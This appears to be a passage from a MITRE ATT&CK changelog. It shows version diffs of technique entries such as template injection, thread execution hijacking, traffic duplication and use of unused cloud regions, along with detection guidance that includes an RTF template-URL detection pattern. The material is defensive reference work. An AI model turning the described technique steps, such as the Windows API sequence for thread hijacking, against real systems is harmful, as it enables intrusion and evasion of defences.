| x_mitre_data_sources[1] | Email gateway | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Network Traffic: Network Connection Creation |
| x_mitre_detection | Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior. | Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.
Monitor .rtf files for strings indicating the *\template control word has been modified to retrieve a URL resource, such as *\template http or *\template \u-. |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Talos Template Injection July 2017', 'description': 'Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.', 'url': 'https://blog.talosintelligence.com/2017/07/template-injection.html'} | |
| external_references | {'source_name': 'ryhanson phishery SEPT 2016', 'description': 'Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.', 'url': 'https://github.com/ryhanson/phishery'} | |
| x_mitre_contributors | Michael Raggi @aRtAGGI |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into hijacked processe | t | 1 | Adversaries may inject malicious code into hijacked processe |
| > | s in order to evade process-based defenses as well as possib | > | s in order to evade process-based defenses as well as possib | ||
| > | ly elevate privileges. Thread Execution Hijacking is a metho | > | ly elevate privileges. Thread Execution Hijacking is a metho | ||
| > | d of executing arbitrary code in the address space of a sepa | > | d of executing arbitrary code in the address space of a sepa | ||
| > | rate live process. Thread Execution Hijacking is commonly | > | rate live process. Thread Execution Hijacking is commonly | ||
| > | performed by suspending an existing process then unmapping/h | > | performed by suspending an existing process then unmapping/h | ||
| > | ollowing its memory, which can then be replaced with malicio | > | ollowing its memory, which can then be replaced with malicio | ||
| > | us code or the path to a DLL. A handle to an existing victim | > | us code or the path to a DLL. A handle to an existing victim | ||
| > | process is first created with native Windows API calls such | > | process is first created with native Windows API calls such | ||
| > | as <code>OpenThread</code>. At this point the process can b | > | as <code>OpenThread</code>. At this point the process can b | ||
| > | e suspended then written to, realigned to the injected code, | > | e suspended then written to, realigned to the injected code, | ||
| > | and resumed via <code>SuspendThread </code>, <code>VirtualA | > | and resumed via <code>SuspendThread </code>, <code>VirtualA | ||
| > | llocEx</code>, <code>WriteProcessMemory</code>, <code>SetThr | > | llocEx</code>, <code>WriteProcessMemory</code>, <code>SetThr | ||
| > | eadContext</code>, then <code>ResumeThread</code> respective | > | eadContext</code>, then <code>ResumeThread</code> respective | ||
| > | ly.(Citation: Endgame Process Injection July 2017) This is | > | ly.(Citation: Elastic Process Injection July 2017) This is | ||
| > | very similar to [Process Hollowing](https://attack.mitre.org | > | very similar to [Process Hollowing](https://attack.mitre.org | ||
| > | /techniques/T1055/012) but targets an existing process rathe | > | /techniques/T1055/012) but targets an existing process rathe | ||
| > | r than creating a process in a suspended state. Running c | > | r than creating a process in a suspended state. Running c | ||
| > | ode in the context of another process may allow access to th | > | ode in the context of another process may allow access to th | ||
| > | e process's memory, system/network resources, and possibly e | > | e process's memory, system/network resources, and possibly e | ||
| > | levated privileges. Execution via Thread Execution Hijacking | > | levated privileges. Execution via Thread Execution Hijacking | ||
| > | may also evade detection from security products since the e | > | may also evade detection from security products since the e | ||
| > | xecution is masked under a legitimate process. | > | xecution is masked under a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:21:29.233000+00:00 | 2021-10-18 12:22:50.800000+00:00 |
| description | Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.
Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Endgame Process Injection July 2017)
This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.
Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)
This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | API monitoring | Process: Process Modification |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:23:30.093000+00:00 | 2021-10-18 12:24:54.198000+00:00 |
| external_references[2]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Modification |
| x_mitre_data_sources[1] | API monitoring | Process: Process Access |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, steal, or | t | 1 | Adversaries may buy, steal, or download software tools that |
| > | download software tools that can be used during targeting. | > | can be used during targeting. Tools can be open or closed so | ||
| > | Tools can be open or closed source, free or commercial. A to | > | urce, free or commercial. A tool can be used for malicious p | ||
| > | ol can be used for malicious purposes by an adversary, but ( | > | urposes by an adversary, but (unlike malware) were not inten | ||
| > | unlike malware) were not intended to be used for those purpo | > | ded to be used for those purposes (ex: [PsExec](https://atta | ||
| > | ses (ex: [PsExec](https://attack.mitre.org/software/S0029)). | > | ck.mitre.org/software/S0029)). Tool acquisition can involve | ||
| > | Tool acquisition can involve the procurement of commercial | > | the procurement of commercial software licenses, including f | ||
| > | software licenses, including for red teaming tools such as [ | > | or red teaming tools such as [Cobalt Strike](https://attack. | ||
| > | Cobalt Strike](https://attack.mitre.org/software/S0154). Com | > | mitre.org/software/S0154). Commercial software may be obtain | ||
| > | mercial software may be obtained through purchase, stealing | > | ed through purchase, stealing licenses (or licensed copies o | ||
| > | licenses (or licensed copies of the software), or cracking t | > | f the software), or cracking trial versions.(Citation: Recor | ||
| > | rial versions.(Citation: Recorded Future Beacon 2019) Adver | > | ded Future Beacon 2019) Adversaries may obtain tools to sup | ||
| > | saries may obtain tools to support their operations, includi | > | port their operations, including to support execution of pos | ||
| > | ng to support execution of post-compromise behaviors. In add | > | t-compromise behaviors. In addition to freely downloading or | ||
| > | ition to freely downloading or purchasing software, adversar | > | purchasing software, adversaries may steal software and/or | ||
| > | ies may steal software and/or software licenses from third-p | > | software licenses from third-party entities (including other | ||
| > | arty entities (including other adversaries). | > | adversaries). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['SOCCRATES', 'Mnemonic AS'] | |
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 14:46:37.477000+00:00 | 2021-10-17 16:17:55.499000+00:00 |
| description | Before compromising a victim, adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). | Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Analyzing CS Dec 2020', 'description': 'Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.', 'url': 'https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage traffic mirroring in order to autom | t | 1 | Adversaries may leverage traffic mirroring in order to autom |
| > | ate data exfiltration over compromised network infrastructur | > | ate data exfiltration over compromised network infrastructur | ||
| > | e. Traffic mirroring is a native feature for some network d | > | e. Traffic mirroring is a native feature for some network d | ||
| > | evices and used for network analysis and may be configured t | > | evices and used for network analysis and may be configured t | ||
| > | o duplicate traffic and forward to one or more destinations | > | o duplicate traffic and forward to one or more destinations | ||
| > | for analysis by a network analyzer or other monitoring devic | > | for analysis by a network analyzer or other monitoring devic | ||
| > | e. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Tr | > | e. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Tra | ||
| > | affic Mirroring) Adversaries may abuse traffic mirroring to | > | ffic Mirroring) Adversaries may abuse traffic mirroring to | ||
| > | mirror or redirect network traffic through other network in | > | mirror or redirect network traffic through other network inf | ||
| > | frastructure they control. Malicious modifications to networ | > | rastructure they control. Malicious modifications to network | ||
| > | k devices to enable traffic redirection may be possible thro | > | devices to enable traffic redirection may be possible throu | ||
| > | ugh [ROMMONkit](https://attack.mitre.org/techniques/T1542/00 | > | gh [ROMMONkit](https://attack.mitre.org/techniques/T1542/004 | ||
| > | 4) or [Patch System Image](https://attack.mitre.org/techniqu | > | ) or [Patch System Image](https://attack.mitre.org/technique | ||
| > | es/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco | > | s/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco B | ||
| > | Blog Legacy Device Attacks) Adversaries may use traffic dupl | > | log Legacy Device Attacks) Adversaries may use traffic dupli | ||
| > | ication in conjunction with [Network Sniffing](https://attac | > | cation in conjunction with [Network Sniffing](https://attack | ||
| > | k.mitre.org/techniques/T1040), [Input Capture](https://attac | > | .mitre.org/techniques/T1040), [Input Capture](https://attack | ||
| > | k.mitre.org/techniques/T1056), or [Man-in-the-Middle](https: | > | .mitre.org/techniques/T1056), or [Adversary-in-the-Middle](h | ||
| > | //attack.mitre.org/techniques/T1557) depending on the goals | > | ttps://attack.mitre.org/techniques/T1557) depending on the g | ||
| > | and objectives of the adversary. | > | oals and objectives of the adversary. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020. | |
| external_references | CAPEC-117 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator'] | |
| external_references | CAPEC-117 | |
| external_references | Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 02:24:54.640000+00:00 | 2022-04-18 22:16:51.359000+00:00 |
| description | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring) Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring) Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. |
| external_references[1]['source_name'] | capec | Cisco Traffic Mirroring |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/117.html | https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html |
| external_references[2]['source_name'] | Cisco Traffic Mirroring | Juniper Traffic Mirroring |
| external_references[2]['description'] | Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020. | Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020. |
| external_references[2]['url'] | https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html | https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html |
| external_references[3]['source_name'] | Juniper Traffic Mirroring | Cisco Blog Legacy Device Attacks |
| external_references[3]['description'] | Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020. | Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. |
| external_references[3]['url'] | https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html | https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 |
| external_references[5]['source_name'] | Cisco Blog Legacy Device Attacks | capec |
| external_references[5]['url'] | https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 | https://capec.mitre.org/data/definitions/117.html |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may alter data en route to storage or other syst | t | 1 | Adversaries may alter data en route to storage or other syst |
| > | ems in order to manipulate external outcomes or hide activit | > | ems in order to manipulate external outcomes or hide activit | ||
| > | y.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus S | > | y, thus threatening the integrity of the data.(Citation: Fir | ||
| > | ony 2018) By manipulating transmitted data, adversaries may | > | eEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By man | ||
| > | attempt to affect a business process, organizational underst | > | ipulating transmitted data, adversaries may attempt to affec | ||
| > | anding, and decision making. Manipulation may be possible o | > | t a business process, organizational understanding, and deci | ||
| > | ver a network connection or between system processes where t | > | sion making. Manipulation may be possible over a network co | ||
| > | here is an opportunity deploy a tool that will intercept and | > | nnection or between system processes where there is an oppor | ||
| > | change information. The type of modification and the impact | > | tunity deploy a tool that will intercept and change informat | ||
| > | it will have depends on the target transmission mechanism a | > | ion. The type of modification and the impact it will have de | ||
| > | s well as the goals and objectives of the adversary. For com | > | pends on the target transmission mechanism as well as the go | ||
| > | plex systems, an adversary would likely need special experti | > | als and objectives of the adversary. For complex systems, an | ||
| > | se and possibly access to specialized software related to th | > | adversary would likely need special expertise and possibly | ||
| > | e system that would typically be gained through a prolonged | > | access to specialized software related to the system that wo | ||
| > | information gathering campaign in order to have the desired | > | uld typically be gained through a prolonged information gath | ||
| > | impact. | > | ering campaign in order to have the desired impact. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'SYSTEM', 'root'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-02 15:20:28.455000+00:00 | 2022-04-19 23:04:44.258000+00:00 |
| description | Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. | Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. |
| external_references[1]['source_name'] | FireEye APT38 Oct 2018 | DOJ Lazarus Sony 2018 |
| external_references[1]['description'] | FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. | Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. |
| external_references[1]['url'] | https://content.fireeye.com/apt/rpt-apt38 | https://www.justice.gov/opa/press-release/file/1092091/download |
| external_references[2]['source_name'] | DOJ Lazarus Sony 2018 | FireEye APT38 Oct 2018 |
| external_references[2]['description'] | Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. | FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. |
| external_references[2]['url'] | https://www.justice.gov/opa/press-release/file/1092091/download | https://content.fireeye.com/apt/rpt-apt38 |
| x_mitre_data_sources[0] | Packet capture | Process: OS API Execution |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-15 16:55:44.483000+00:00 | 2021-07-26 22:34:43.261000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 19:39:36.109000+00:00 | 2022-04-01 13:11:11.386000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | Windows Registry: Windows Registry Key Access |
| x_mitre_data_sources[1] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Process: Process Creation |
| x_mitre_data_sources[3] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[4] | File monitoring | File: File Access |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create cloud instances in unused geographic | t | 1 | Adversaries may create cloud instances in unused geographic |
| > | service regions in order to evade detection. Access is usual | > | service regions in order to evade detection. Access is usual | ||
| > | ly obtained through compromising accounts used to manage clo | > | ly obtained through compromising accounts used to manage clo | ||
| > | ud infrastructure. Cloud service providers often provide in | > | ud infrastructure. Cloud service providers often provide in | ||
| > | frastructure throughout the world in order to improve perfor | > | frastructure throughout the world in order to improve perfor | ||
| > | mance, provide redundancy, and allow customers to meet compl | > | mance, provide redundancy, and allow customers to meet compl | ||
| > | iance requirements. Oftentimes, a customer will only use a s | > | iance requirements. Oftentimes, a customer will only use a s | ||
| > | ubset of the available regions and may not actively monitor | > | ubset of the available regions and may not actively monitor | ||
| > | other regions. If an adversary creates resources in an unuse | > | other regions. If an adversary creates resources in an unuse | ||
| > | d region, they may be able to operate undetected. A variati | > | d region, they may be able to operate undetected. A variati | ||
| > | on on this behavior takes advantage of differences in functi | > | on on this behavior takes advantage of differences in functi | ||
| > | onality across cloud regions. An adversary could utilize reg | > | onality across cloud regions. An adversary could utilize reg | ||
| > | ions which do not support advanced detection services in ord | > | ions which do not support advanced detection services in ord | ||
| > | er to avoid detection of their activity. For example, AWS Gu | > | er to avoid detection of their activity. An example of adve | ||
| > | ardDuty is not supported in every region.(Citation: AWS Regi | > | rsary use of unused AWS regions is to mine cryptocurrency th | ||
| > | on Service Table) An example of adversary use of unused AWS | > | rough [Resource Hijacking](https://attack.mitre.org/techniqu | ||
| > | regions is to mine cryptocurrency through [Resource Hijacki | > | es/T1496), which can cost organizations substantial amounts | ||
| > | ng](https://attack.mitre.org/techniques/T1496), which can co | > | of money over time depending on the processing power used.(C | ||
| > | st organizations substantial amounts of money over time depe | > | itation: CloudSploit - Unused AWS Regions) | ||
| > | nding on the processing power used.(Citation: CloudSploit - | ||||
| > | Unused AWS Regions) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:17:44.563000+00:00 | 2021-04-22 16:46:43.876000+00:00 |
| description | Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected. A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. For example, AWS GuardDuty is not supported in every region.(Citation: AWS Region Service Table) An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions) | Adversaries may create cloud instances in unused 